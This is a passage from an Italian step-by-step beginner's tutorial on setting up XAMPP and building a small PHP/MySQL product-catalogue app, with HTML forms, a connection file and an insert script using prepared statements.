πŸš€ Guida Ultra-Chiara: Pagina Web con Database

Non preoccuparti se non sei sicuro: spiegheremo tutto passo passo!

0. Configurazione ambiente: Installare e usare XAMPP

XAMPP Γ¨ come un kit completo di officina per creare siti web locali:

Cos'Γ¨ XAMPP e perchΓ© ne abbiamo bisogno

XAMPP Γ¨ un pacchetto software gratuito che installa automaticamente tutti gli strumenti necessari per creare un ambiente di sviluppo web locale. Il nome Γ¨ un acronimo:

Senza XAMPP, dovresti installare e configurare ogni componente separatamente, con procedure complesse. XAMPP semplifica tutto: un'unica installazione e un pannello di controllo unificato.

Installazione dettagliata

  1. Download: Vai sul sito ufficiale apachefriends.org e scarica l'ultima versione di XAMPP per il tuo sistema operativo. Scegli la versione con PHP 7.4 o superiore (consigliato PHP 8.0+).
  2. Installazione: Esegui il file scaricato. Su Windows, la cartella predefinita Γ¨ C:\xampp. Non cambiare percorso durante l'installazione a meno che non sia strettamente necessario. L'installazione puΓ² richiedere 5-10 minuti.
  3. Pannello di controllo: Al termine, apri XAMPP Control Panel dal menu Start o dal desktop. Qui gestisci tutti i servizi.
  4. Avvio di Apache: Clicca Start accanto ad Apache. Se tutto va bene, la scritta diventa verde e compare "Running". Apache Γ¨ il server web che esegue PHP.
    πŸ” Verifica Apache
    Apri il browser e vai su http://localhost. Se vedi la pagina di benvenuto di XAMPP, Apache funziona correttamente.
  5. Avvio di MySQL: Clicca Start accanto a MySQL. Anche qui deve diventare verde e mostrare "Running". MySQL Γ¨ il database che useremo.
    πŸ” Verifica MySQL
    Vai su http://localhost/phpmyadmin. Se si apre phpMyAdmin, MySQL Γ¨ attivo e funzionante.

Risoluzione problemi comuni

1. "Port 80 in use" β€” Apache non si avvia

La porta 80 Γ¨ la porta predefinita per HTTP. Se un altro programma (spesso Skype, TeamViewer, o un altro server web) la sta usando, Apache non puΓ² avviarsi.

2. MySQL non si avvia β€” "MySQL shutdown unexpectedly"

Le cause piΓΉ comuni:

3. Pagina bianca o errori PHP

Se vedi una pagina bianca invece del codice, significa che ci sono errori PHP che non vengono mostrati. Per abilitare la visualizzazione degli errori:

  1. Apri C:\xampp\php\php.ini
  2. Cerca display_errors e cambia in display_errors = On
  3. Cerca error_reporting e imposta error_reporting = E_ALL
  4. Riavvia Apache dal pannello di controllo
⚠️ Sicurezza in ambiente locale
XAMPP Γ¨ configurato per facilitΓ  d'uso, non per sicurezza. Non usare la password root di MySQL vuota in produzione! Per un ambiente di sviluppo piΓΉ sicuro, cambia la password di root in phpMyAdmin e aggiorna connessione.php di conseguenza.
βœ… Riavviare i servizi
Dopo aver modificato file di configurazione (come php.ini o httpd.conf), devi sempre fermare e riavviare Apache e MySQL dal pannello di controllo per applicare le modifiche.

Architettura Client-Server

Quando visiti una pagina web, avviene questo flusso:

🌐 Browser (Client)
β†’
πŸ“„ Server PHP (XAMPP)
β†’
πŸ—„οΈ MySQL Database

Immagina di voler aggiungere un nuovo prodotto su un sito web (es. un negozio online).

  1. Tu compili il modulo online
    Apri la pagina "Aggiungi prodotto" e inserisci nome, prezzo, foto, ecc. nei campi del form (ad esempio inserisci nel campo nome "Scarpe", nel campo prezzo 50, nel campo foto "scarpe.jpg"). È come compilare una cartolina d'ordine.
  2. Clicchi "Salva"
    Premi il pulsante e il tuo browser (Chrome, Safari, ecc.) prende tutti i dati che hai inserito e li imbusta in una richiesta che spedisce al computer del sito (il "server").
  3. Il server riceve e elabora
    Il computer del sito (server PHP) riceve la tua richiesta, apre l'"imballo" e legge i dati. Controlla se tutto Γ¨ ok (es. il prezzo Γ¨ un numero, la foto Γ¨ valida).
  4. Il server chiede al database di salvare
    Il server PHP si collega al database MySQL (che Γ¨ come un enorme archivio digitale organizzato in tabelle) e dice:
    "Ehi, apri la tabella 'prodotti' e aggiungi una nuova riga con questi valori: nome='Scarpe', prezzo=50, foto='scarpe.jpg'..."
  5. Il database conferma
    Il database esegue l'operazione e risponde al server PHP: "Fatto! Ho salvato il prodotto nella riga numero 127".
  6. Il server prepara la risposta
    Il server PHP, ricevuta la conferma, crea al volo una pagina HTML che dice: "βœ… Prodotto inserito con successo!" (o eventualmente un messaggio di errore se qualcosa Γ¨ andato storto).
  7. Il tuo browser mostra il risultato
    Il server PHP rispedisce questa pagina HTML al tuo browser, che la interpreta e la visualizza sullo schermo. Tu vedi il messaggio di conferma e sai che l'operazione Γ¨ andata a buon fine.

πŸ“š Analogia con il mondo reale

Immagina di voler registrare un nuovo libro nella biblioteca del paese.

  1. Tu compili la scheda del libro.
    Prendi un modulo cartaceo e scrivi: titolo, autore, anno. Poi lo pieghi e lo infili nella cassetta delle richieste.
  2. Arriva il postino (il tuo browser).
    Il postino (il programma che usi per navigare, come Chrome) passa, ritira la tua scheda dalla cassetta e la porta in fretta all'ufficio della biblioteca.
  3. L'impiegato (il server del sito) riceve la richiesta.
    Nell'ufficio, un impiegato (il computer che gestisce il sito) prende la tua scheda. La legge e controlla che sia compilata bene (es. l'anno Γ¨ un numero, il titolo non Γ¨ vuoto).
  4. L'impiegato chiede all'archivista (il database).
    L'impiegato va dall'archivista (il database relazionale MySQL che custodisce tutti i libri in enormi scaffali ordinati) e gli dice:
    "Per favore, metti questo nuovo libro sugli scaffali. Ecco i dati: Titolo='Il Signore degli Anelli', Autore='Tolkien'..."
  5. L'archivista sistema il libro.
    L'archivista prende il libro, trova lo scaffale giusto e ci mette sopra la nuova scheda. Poi torna dall'impiegato e gli fa un cenno: "Fatto. Lo scaffale 'Fantasy' ora ha un libro in piΓΉ."
  6. L'impiegato prepara la ricevuta.
    Ricevuta la conferma, l'impiegato stampa un piccolo foglietto (una pagina web) su cui scrive a caratteri grandi:
    βœ… Libro registrato con successo!
  7. Il postino ti riporta la ricevuta.
    Il postino (il browser), che era rimasto in attesa nell'ufficio, ora prende il foglietto e te lo porta a casa. Quando arriva, te lo mette in mano e te lo mostra.

    Tu guardi il foglietto e leggi la scritta verde: "βœ… Libro registrato con successo!"
    E sai che tutto Γ¨ andato a buon fine.
In una frase sola:
Tu (cliente) β†’ Browser (postino) β†’ Server/Impiegato (che coordina) β†’ Database/Archivista (che archivia) β†’ Server (che stampa la ricevuta) β†’ Browser (che te la porta e te la mostra).
🎯 In sintesi:
Non c'Γ¨ nessuna magia.
È solo un "passaparola digitale" tra il tuo computer, il sito web e il suo archivio.
Ogni volta che clicchi "Salva", parte questo "passaparola digitale" che lavora per te in una frazione di secondo.
⚠️ Attenzione: ambiente di sviluppo locale
Questo manuale usa XAMPP per creare un server locale sul tuo PC. Questo Γ¨ perfetto per imparare e testare, ma NON va usato per siti web pubblici su Internet. Per pubblicare un sito vero, servono un hosting professionale e configurazioni di sicurezza molto piΓΉ rigorose.

πŸ“– Glossario: Le parole che incontrerai

Leggi questo prima! Ti aiuterΓ  a capire tutto il resto.

PHP
Un linguaggio di programmazione che funziona sul server (il computer remoto). Serve per elaborare dati, parlare con il database, e generare pagine HTML personalizzate.
Database MySQL
Un programma che salva dati in modo organizzato, come un enorme foglio Excel con tabelle, righe e colonne. I dati rimangono salvati anche quando spegni il computer.
Query
Una domanda o un comando che invii al database. Esempio: "Dammi tutti i prodotti" oppure "Inserisci questo nuovo prodotto".
Form HTML
Un modulo compilabile in una pagina web (con caselle di testo, pulsanti, ecc.) che permette all'utente di inserire dati e inviarli.
Segnaposto (?)
Un segnaposto nella query. È come lasciare uno spazio vuoto in una frase: "Inserisci il prodotto ___". Il valore vero verrà messo dopo, in modo sicuro.

1. Organizzazione file del progetto

Immagina di organizzare un ufficio: Teniamo tutto separato così è facile trovare le cose!

Dove mettere i file del progetto

XAMPP ha una cartella speciale chiamata htdocs (abbreviazione di "HTML documents") che Γ¨ la radice del web server. Tutto ciΓ² che Γ¨ dentro C:\xampp\htdocs\ puΓ² essere accessibile via browser.

πŸ“ Dove si trovano i file del progetto
Percorsi principali:

C:\xampp\                    ← Cartella principale di XAMPP
C:\xampp\htdocs\             ← Qui metti TUTTI i tuoi progetti web
C:\xampp\htdocs\progetto\    ← πŸ“ LA TUA CARTELLA DEL PROGETTO

File del progetto (in C:\xampp\htdocs\progetto\):

πŸ“„ index.html           β†’ Home page
πŸ“„ inserimento.html     β†’ Form per inserire prodotti
πŸ“„ ricerca.html        β†’ Form per cercare prodotti
βš™οΈ connessione.php      β†’ Connessione al database
βš™οΈ inserimento.php      β†’ Riceve i dati e salva nel DB
βš™οΈ ricerca.php          β†’ Cerca nel database
πŸ”§ xampp-control.exe  β†’ Pannello di controllo (in C:\xampp\)
            
πŸ“ Come creare la cartella e i file del progetto (passo dopo passo in VS Code):
  1. Apri Esplora File di Windows e vai su C:\xampp\htdocs\
  2. Crea la cartella del progetto:
    • Tasto destro β†’ Nuovo β†’ Cartella
    • Chiamala progetto
  3. Apri VS Code:
    • File β†’ Open Folder (Apri cartella)
    • Seleziona C:\xampp\htdocs\progetto
    • Ora VS Code lavora su questa cartella
  4. Crea i file HTML:
    • Nel pannello laterale di VS Code (Explorer), clicca sull'icona "New File" (πŸ“„)
    • Scrivi index.html e premi Invio
    • Ripeti per creare: inserimento.html, ricerca.html
  5. Crea i file PHP:
    • Nuovo file β†’ connessione.php
    • Nuovo file β†’ inserimento.php
    • Nuovo file β†’ ricerca.php
  6. Crea la cartella per le immagini:
    • In VS Code: tasto destro nello spazio vuoto dell'Explorer β†’ New Folder
    • Chiamala immagini
    • Qui metterai i file delle immagini dei prodotti
πŸ’‘ Suggerimento per VS Code:
βœ… Prima di iniziare a scrivere codice HTML o PHP, devi creare il database...

πŸ—„οΈ Importare il database in phpMyAdmin (guida passo-passo)

Prima di poter usare la tua webapp, devi creare il database e la tabella prodotti. Segui questi passaggi nell'ordine esatto:

πŸ“‹ Procedura dettagliata per importare il database:
  1. Assicurati che XAMPP sia avviato:
    • Apri C:\xampp\xampp-control.exe
    • Clicca su "Start" accanto ad Apache (diventa verde)
    • Clicca su "Start" accanto a MySQL (diventa verde)
    • Attendi che entrambi i servizi siano avviati (scritte verdi)
  2. Apri phpMyAdmin nel browser:
    • Apri Chrome, Firefox o Edge
    • Nella barra degli indirizzi scrivi: http://localhost/phpmyadmin
    • Premi Invio
    • Si apre la pagina di phpMyAdmin (interfaccia grigia/blu con menu a sinistra)
  3. Crea il file SQL con il codice del database:
    • Apri il Blocco Note (o VS Code)
    • Copia il codice SQL che trovi nel box verde qui sotto
    • Incolla nel Blocco Note
    • Clicca su File β†’ Salva con nome
    • Nella finestra "Salva con nome":
      • Salva in: seleziona C:\xampp\htdocs\progetto\
      • Nome file: scrivi database.sql
      • Salva come: seleziona "Tutti i file" (importante!)
      • Clicca Salva
  4. Importa il database in phpMyAdmin:
    • Nella pagina di phpMyAdmin, guarda la colonna di sinistra
    • Clicca su "Importa" nel menu in alto (scheda con icona freccia)
    • Nella sezione "Carica un file":
      • Clicca "Scegli file"
      • Naviga fino a C:\xampp\htdocs\progetto\
      • Seleziona database.sql
      • Clicca "Apri"
    • Scorri in basso e clicca "Esegui"
    • Attendi qualche secondo
  5. Verifica che il database sia stato creato:
    • Dopo l'importazione, dovresti vedere un messaggio verde: "La tua query Γ¨ stata eseguita con successo"
    • Nella colonna di sinistra, ora dovresti vedere web_app nell'elenco dei database
    • Clicca su web_app per espanderlo
    • Dovresti vedere la tabella prodotti
    • βœ… Fatto! Il database Γ¨ pronto
⚠️ Importante: semplificazione iniziale
πŸ“Œ Nota sulla progressione didattica:

⚠️ Se segui la versione semplificata: Quando vedi codice con "immagine" nelle sezioni successive, ignoralo o adattalo alla tua tabella semplificata.

⚠️ Problemi comuni e soluzioni:
πŸ“„ Codice SQL per creare il database (copia e incolla nel Blocco Note)
-- Crea l'archivio (se non esiste giΓ )
CREATE DATABASE IF NOT EXISTS web_app;

-- Apri l'archivio per lavorarci
USE web_app;

-- Crea il cassetto "prodotti" con le sue colonne (versione SEMPLIFICATA)
-- Solo i campi essenziali che compili nel form: nome, descrizione, prezzo
CREATE TABLE IF NOT EXISTS prodotti (
    id INT AUTO_INCREMENT PRIMARY KEY,
    nome VARCHAR(50) NOT NULL,
    descrizione TEXT,
    prezzo DECIMAL(6, 2) NOT NULL
);
πŸŽ‰ Database creato con successo!
Ora che il database Γ¨ pronto, puoi usare la tua webapp. Apri il browser e scrivi uno di questi URL:
🌐 URL per accedere alla webapp (dopo aver creato il database)
http://localhost/progetto/index.html        ← Home page (pagina di benvenuto)
http://localhost/progetto/inserimento.html  ← Inserisci nuovi prodotti
http://localhost/progetto/ricerca.html      ← Cerca prodotti nel database
            
PerchΓ© non metto tutto in un unico file?
Potresti, ma diventa un pasticcio! Separando:
  • Se vuoi cambiare l'aspetto grafico β†’ modifichi solo l'HTML
  • Se vuoi cambiare la logica β†’ modifichi solo il PHP
  • Se cambi password del database β†’ modifichi solo connessione.php
  • Due persone possono lavorare contemporaneamente su file diversi dello stesso progetto

2. Database: il contenitore per i dati

Il database Γ¨ come un archivio con cassetti:

πŸ“ Il codice SQL del database

Il codice per creare il database e la tabella prodotti Γ¨ giΓ  stato mostrato sopra. Se hai seguito la procedura passo-passo, il database Γ¨ giΓ  pronto!

Se vuoi vedere di nuovo il codice o ricrearlo, lo trovi nella sezione precedente "πŸ—„οΈ Importare il database in phpMyAdmin".

Cosa significa ogni colonna:
Colonna Tipo Spiegazione semplice Esempio
id INT AUTO_INCREMENT Numero automatico che si incrementa da solo. È come il "numero di pratica" che identifica ogni prodotto in modo unico. 1, 2, 3, 4...
nome VARCHAR(50) Testo corto (max 50 caratteri). NOT NULL = obbligatorio, non puΓ² essere vuoto. "Laptop HP"
descrizione TEXT Testo lungo senza limiti pratici. PuΓ² essere lasciato vuoto. "Portatile 15 pollici, 16GB RAM..."
prezzo DECIMAL(6,2) Numero con 2 decimali per i centesimi. Obbligatorio. 1199.99
Se la tabella avesse 3 prodotti, che aspetto avrebbe?
idnomedescrizioneprezzo
1Laptop HPPortatile 15 pollici899.99
2Mouse WirelessMouse ergonomico29.50
3Tastiera RGBTastiera meccanica79.00

Nota: l'ID si Γ¨ incrementato automaticamente: 1, 2, 3...

πŸ“ PRIMA DI INIZIARE: Cos'Γ¨ un Form HTML?

Un form HTML è come un modulo cartaceo che compili con una penna, ma in versione digitale. È lo strumento che permette all'utente di inviare dati al server.

πŸ“‹ Esempi nella vita reale:
  • Modulo di registrazione a un sito
  • Modulo di login (username + password)
  • Modulo per cercare prodotti (campo di ricerca)
  • Modulo per inserire un nuovo prodotto
πŸ–₯️ Come si presenta:
  • Caselle di testo vuote da compilare
  • Pulsanti "Invia" o "Salva"
  • Menu a tendina per scegliere opzioni
  • Caselle da spuntare (checkbox)

πŸ”§ Struttura base di un form:

<form action="pagina_che_riceve.php" method="post">
    <label>Nome:</label>
    <input type="text" name="nome">  ← Casella di testo
    
    <label>Password:</label>
    <input type="password" name="password">  ← Casella password
    
    <input type="submit" value="Invia">  ← Pulsante per inviare
</form>

🎯 Come funziona:

  1. HTML (form): Mostra le caselle vuote all'utente (i campi)
  2. Utente: Compila i campi con i dati
  3. Utente: Clicca "Invia"
  4. Browser: Prende i dati e li invia al server PHP
  5. PHP: Riceve i dati e li elabora (es: salva nel database)
βœ… In sintesi:Il form Γ¨ il "ponte" tra l'utente e il database. L'utente scrive i dati nel form, PHP li riceve e li salva nel database.CosΓ¬ il form Γ¨ la prima metΓ  del "ponte" tra l'utente e il database; la seconda metΓ  di tale ponte Γ¨ il server PHP. L'utente scrive i dati nel form, PHP li riceve e li salva nel database.
πŸ“– RIPASSO: I tag HTML che useremo nei form

Prima di scrivere il codice, ripassiamo i tag HTML che useremo. Un tag Γ¨ un "comando" che dice al browser come visualizzare il contenuto.

🏷️ Tag πŸ“ Cosa fa πŸ’» Esempio
<form> <form action="inserimento.php" method="post">......</form>

Indica che i dati inseriti dall'utente nella pagina web sono mandati con il metodo post (quindi in "busta chiusa") al server PHP che li elabora mediante il file "inserimento.php".

In luogo dei "..." ci sono le istruzioni HTML che permettono all'utente di inserire i dati (ad esempio <label>Nome</label><br><input type="text" name="nome">).
<form action="pagina.php">...</form>
<label> Etichetta che descrive cosa inserire nel campo accanto. <label>Nome:</label>
<input> Casella di testo dove l'utente scrive. Non ha tag di chiusura. <input type="text" name="nome">
<textarea> Come <input>, ma per testi lunghi (piΓΉ righe, nell'esempio 3 righe). <textarea rows="3"></textarea>
<br> Va a capo (come "Invio" sulla tastiera). Non ha chiusura. Riga 1<br>Riga 2
<input type="submit"> Pulsante che invia i dati al server quando ci clicchi sopra. <input type="submit" value="Invia">
πŸ’‘ Attributi di <form>:
  • action="inserimento.php" β†’ Il file PHP che contiene il codice che il server eseguirΓ  per elaborare i dati inseriti dall'utente tramite il form
  • method="post" β†’ I dati non appaiono nell'URL (viaggiano nel "corpo" della richiesta). ⚠️ Attenzione: non sono crittografati, serve HTTPS per proteggerli
  • method="get" β†’ I dati sono visibili nell'URL (in "cartolina", chiunque puΓ² vederli)
πŸ’‘ Attributi di <input>:
  • name="..." β†’ Etichetta per PHP (es: $_POST['nome'])
  • required β†’ Campo obbligatorio
  • type="number" β†’ Solo numeri
  • step="0.01" β†’ Permette i decimali

3. La pagina principale: index.html

Questa è la pagina di benvenuto del tuo sito. È come l'ingresso di un negozio:
πŸ“„ index.html
<!DOCTYPE html>
<html lang="it">
<head>
    <meta charset="UTF-8">
    <title>Catalogo Prodotti - Home</title>
</head>
<body>
    <h1>Catalogo Prodotti</h1>

    <p><a href="inserimento.html">Inserisci prodotto</a></p>
    <p><a href="ricerca.html">Ricerca prodotto</a></p>
</body>
</html>
🎯 Cosa fa questa pagina:

4. Il file che "apre la porta" del database

Per entrare nel database serve una chiave. Questo file contiene:
πŸ”‘ connessione.php
<?php
// ═══════════════════════════════════════════
// LE "CHIAVI" PER ENTRARE NEL DATABASE
// ═══════════════════════════════════════════

$servername = "localhost";    // Dove si trova? (localhost = qui)
$username = "root";           // Chi sei? (utente predefinito di MySQL)
$password = "";               // Password vuota (default di XAMPP)
$dbname = "web_app";          // Quale database aprire?

// ═══════════════════════════════════════════
// PROVA AD APRIRE LA CONNESSIONE
// ═══════════════════════════════════════════

$conn = new mysqli($servername, $username, $password, $dbname);

// ═══════════════════════════════════════════
// CONTROLLA SE LA PORTA SI È APERTA
// ═══════════════════════════════════════════

if ($conn->connect_error) {
    // Se c'Γ¨ un errore, FERMATI e mostra cosa Γ¨ andato storto
    die("❌ Connessione fallita: " . $conn->connect_error);
}

// Se arriviamo qui, la connessione funziona! πŸŽ‰
?>
Riga: $conn = new mysqli(...)
Questa riga crea una connessione e la salva nella variabile $conn.
Pensa a $conn come a una "linea telefonica aperta" con il database.
Ogni volta che vuoi parlare con il database, userai questa linea.
Riga: if ($conn->connect_error)
Controlla se c'Γ¨ stato un problema.
$conn->connect_error restituisce il messaggio di errore (se c'Γ¨ un problema) oppure NULL (se tutto ok).
Cos'Γ¨ NULL? In PHP, NULL Γ¨ un valore speciale che significa "nessun valore". Non Γ¨ 0 (zero Γ¨ un numero), non Γ¨ "" (stringa vuota Γ¨ comunque un testo, il testo vuoto), Γ¨ proprio assenza di valore.
Come funziona l'if: Se c'Γ¨ un errore, la condizione Γ¨ true ed entra nel blocco. Se Γ¨ NULL (nessun errore), la condizione Γ¨ false e salta il blocco.
Il -> significa "accedi a una proprietΓ  dell'oggetto $conn".
Riga: die("Messaggio")
die() = "muori qui". Ferma tutto il programma e mostra il messaggio.
Lo usiamo quando c'Γ¨ un errore critico: senza database, non possiamo fare nulla.
Errore: "Access denied for user 'root'@'localhost'"
Causa: Username o password sbagliati.
Soluzione: Su XAMPP di default, la password di root Γ¨ vuota. Usa $password = ""; Se hai cambiato la password, aggiorna connessione.php con la tua password effettiva.

5. Il modulo per inserire prodotti (HTML)

Questo file Γ¨ come un modulo cartaceo: L'utente compila, clicca invio, e i dati partono.
πŸ“ inserimento.html
<!DOCTYPE html>
<html lang="it">
<head>
    <meta charset="UTF-8">
    <title>Inserisci Prodotto</title>
</head>
<body>
    <h2>πŸ“Œ Inserisci Nuovo Prodotto</h2>
    
    <!-- 
    action = "A CHI mandare i dati" 
    method = "COME mandarli" (post = nel corpo della richiesta, get = visibili nell'URL)
    -->
    <form action="inserimento.php" method="post">

        <!-- Ogni input ha un name: Γ¨ l'etichetta per riconoscerlo -->

        <label for="nome">Nome prodotto:</label><br>
        <input type="text" id="nome" name="nome" required>
        <br><br>

        <label for="descrizione">Descrizione:</label><br>
        <textarea id="descrizione" name="descrizione" rows="3" cols="40"></textarea>
        <br><br>

        <label for="prezzo">Prezzo (€):</label><br>
        <input type="number" id="prezzo" name="prezzo" step="0.01" required>
        <br><br>

        <input type="submit" value="πŸ’Ύ Salva Prodotto">
    </form>
    
    <p><a href="index.html">← Torna alla home</a></p>
</body>
</html>
L'attributo name Γ¨ FONDAMENTALE!

Quando l'utente compila il form e clicca "Salva":
πŸ–₯️ Nel browser (HTML)
<input name="nome" value="Laptop">
<input name="prezzo" value="999">
➑️
βš™οΈ Nel server (PHP)
$_POST['nome'] contiene "Laptop"
$_POST['prezzo'] contiene "999"

Il name dell'HTML diventa la chiave per recuperare il valore in PHP!

Qual Γ¨ la differenza tra POST e GET?
POST (busta chiusa) πŸ“Œ GET (cartolina) πŸ“Œ
Dove sono i dati? Nascosti nel "corpo" della richiesta Visibili nell'URL: ?nome=laptop&prezzo=999
Quando usarlo? Per modificare dati (inserire, eliminare) Per leggere dati (cercare, filtrare)
Sicurezza? PiΓΉ sicuro (dati non in cronologia) Meno sicuro (dati visibili e salvabili)

6. Il "cervello" che salva i dati (PHP)

Questo file Γ¨ l'impiegato dell'ufficio che:
  1. πŸ“Œ Riceve il modulo compilato (dati dal form)
  2. πŸ”‘ Apre l'archivio (connessione al database)
  3. πŸ“ Prepara una scheda vuota con spazi da riempire (query con segnaposto)
  4. ✍️ Compila la scheda con i dati ricevuti (binding)
  5. πŸ“ Mette la scheda nel cassetto giusto (execute)
  6. πŸ“Œ Conferma al cliente che tutto Γ¨ andato bene
πŸ“– PRIMA DI LEGGERE IL CODICE: Concetti base di PHP

Prima di analizzare inserimento.php, ecco due concetti fondamentali di PHP che useremo:

πŸ’‘ Variabili in PHP

In PHP, le variabili si definiscono semplicemente con il simbolo $ seguito dal nome:

  • $nome β†’ una variabile che contiene un nome
  • $prezzo β†’ una variabile che contiene un prezzo
  • $conn β†’ una variabile che contiene la connessione al database

Nota: Il simbolo $ Γ¨ obbligatorio! Senza di esso, PHP pensa che tu stia usando una costante.

πŸ’‘ Istruzione echo

echo serve a stampare output nel browser:

  • echo "Ciao"; β†’ Scrive "Ciao" nella pagina HTML
  • echo "<h2>Titolo</h2>"; β†’ Crea un titolo H2
  • echo "<p>Testo</p>"; β†’ Crea un paragrafo

In pratica: echo permette di "creare" HTML dinamicamente con PHP! Ovvero echo permette di scrivere elementi HTML direttamente nel codice PHP, così che diventino visibili nella pagina web prodotta dal codice PHP.

βš™οΈ inserimento.php
<?php
// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 1: APRI LA CONNESSIONE AL DATABASE              β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

require_once 'connessione.php';
// require_once = "includi questo file, ovvero esegui le istruzioni del file connessione.php, ma solo una volta"
// Dopo questa riga, la variabile $conn (la connessione al database) Γ¨ disponibile


// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 2: RECUPERA I DATI INVIATI DAL FORM             β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

// Verifico che tutti i campi siano stati compilati
if (empty($_POST['nome']) || empty($_POST['prezzo'])) {
    die("❌ Errore: I campi 'nome' e 'prezzo' sono obbligatori.");
}

$nome = $_POST['nome'];
$descrizione = $_POST['descrizione'];
$prezzo = $_POST['prezzo'];

// $_POST Γ¨ un array associativo ove ogni dato Γ¨ individuato da un'etichetta ("chiave")
// inviati con method="post". Il nome del campo HTML diventa la "chiave" associata al valore del campo


// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 3: PREPARA LA QUERY CON I "BUCHI" (segnaposto) β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

$stmt = $conn->prepare(
    "INSERT INTO prodotti (nome, descrizione, prezzo)
     VALUES (?, ?, ?)"
);

// I punti interrogativi (?) sono SEGNAPOSTO.
// Dicono: "qui metterΓ² un valore, ma, per motivi di sicurezza, non ancora".


// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 4: RIEMPI I "BUCHI" CON I VALORI REALI        β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

$stmt->bind_param("ssd", $nome, $descrizione, $prezzo);

// bind_param COLLEGA i valori ai segnaposto.
// "ssd" = tipi dei dati: String, String, Double (decimale)
// L'ordine conta! Il primo "s" va col primo ?, ecc.


// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 5: ESEGUI! Ora i dati vengono salvati           β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

if ($stmt->execute()) {
    // ╔════════════════════════════════════════════════════════╗
    // β•‘ PASSO 6: CONFERMA ALL'UTENTE                          β•‘
    // β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
    echo "<h2>βœ… Prodotto salvato con successo!</h2>";
    echo "<p>Nome: " . htmlspecialchars($nome) . "</p>";
    echo "<p>Prezzo: €" . htmlspecialchars($prezzo) . "</p>";
    echo "<p><a href='index.html'>← Torna alla home</a></p>";
} else {
    echo "<h2>❌ Errore nel salvataggio del prodotto.</h2>";
    echo "<p>Dettaglio: " . $stmt->error . "</p>";
    echo "<p><a href='inserimento.html'>← Torna al form</a></p>";
}

// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 7: CHIUDI TUTTO (buona pratica)                 β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

$stmt->close();
$conn->close();
?>
πŸ“„ APPROFONDIMENTO: require_once vs require vs include πŸ“Œ Il problema:
Quando un progetto PHP cresce, dividiamo il codice in piΓΉ file (es: connessione.php, header.php, footer.php).
Come facciamo a usare il codice di un file dentro un altro file?

πŸ” Le 4 istruzioni per includere file:

1. include 'file.php' - "Prova a includere" include 'header.php';
# Se header.php non esiste:
# β†’ PHP mostra un WARNING ⚠️
# β†’ Il programma CONTINUA a eseguire
2. require 'file.php' - "Devi includere" require 'connessione.php';
# Se connessione.php non esiste:
# β†’ PHP mostra un ERRORE FATALE ❌
# β†’ Il programma SI FERMA subito
3. include_once 'file.php' - "Includi una sola volta" include_once 'header.php';
include_once 'header.php'; # ← Ignorata! GiΓ  incluso prima
# Utile per evitare di includere due volte lo stesso file
4. require_once 'file.php' - "Devi includere, una sola volta" require_once 'connessione.php';
require_once 'connessione.php'; # ← Ignorata! GiΓ  incluso prima
# IL PIΓ™ SICURO: blocca se manca + evita duplicati
🎯 Quando usare ciascuno: βœ… Nel nostro progetto usiamo require_once perchΓ©:
  1. connessione.php Γ¨ essenziale β†’ senza di esso, il sito non funziona
  2. Deve essere eseguito una sola volta β†’ per evitare connessioni multiple e potenziali conflitti.
πŸ“Œ APPROFONDIMENTO: Cosa sono gli Array Associativi? πŸ“Œ Concetto fondamentale:
Un array associativo Γ¨ come un dizionario o una rubrica telefonica.
$_POST Γ¨ un array associativo!
$_GET Γ¨ un array associativo!

🎯 La differenza chiave:
Se l'array numerico Γ¨ un trasloco dove le scatole sono numerate da 1 a 10, l'array associativo Γ¨ quella stessa pila di scatole dove perΓ² hai scritto sopra "Cucina", "Libri" o "Vestiti".

In un array associativo, non esiste un legame tra la posizione di un valore ed il valore stesso, ma un legame diretto tra un'etichetta (chiave) e il dato contenuto (valore).

πŸ” Differenza tra array normale e associativo:

Array NORMALE (numerico): # I dati sono individuati da un numero (indice)
$frutti = ["Mela Red delicious", "Pera Williams", "Arancia Tarocco"];
echo $frutti[0]; # β†’ "Mela Red delicious"
echo $frutti[1]; # β†’ "Pera Williams"
echo $frutti[2]; # β†’ "Arancia Tarocco"
Array ASSOCIATIVO (con chiavi nominate): # I dati sono individuati dal NOME (chiave)
$fruttiAssociativo = [
    "mela" => "Mela Red delicious",
    "pera" => "Pera Williams",
    "arancia" => "Arancia Tarocco"
];
echo $fruttiAssociativo["mela"]; # β†’ "Mela Red delicious"
echo $fruttiAssociativo["pera"]; # β†’ "Pera Williams"
echo $fruttiAssociativo["arancia"]; # β†’ "Arancia Tarocco"
🎯 $_POST è un array associativo!
Ogni campo del form diventa una coppia chiave-valore: # Nel form HTML:
<input name="nome" value="Laptop">
<input name="prezzo" value="999">

# In PHP diventa:
$_POST = [
    "nome" => "Laptop",
    "prezzo" => "999"
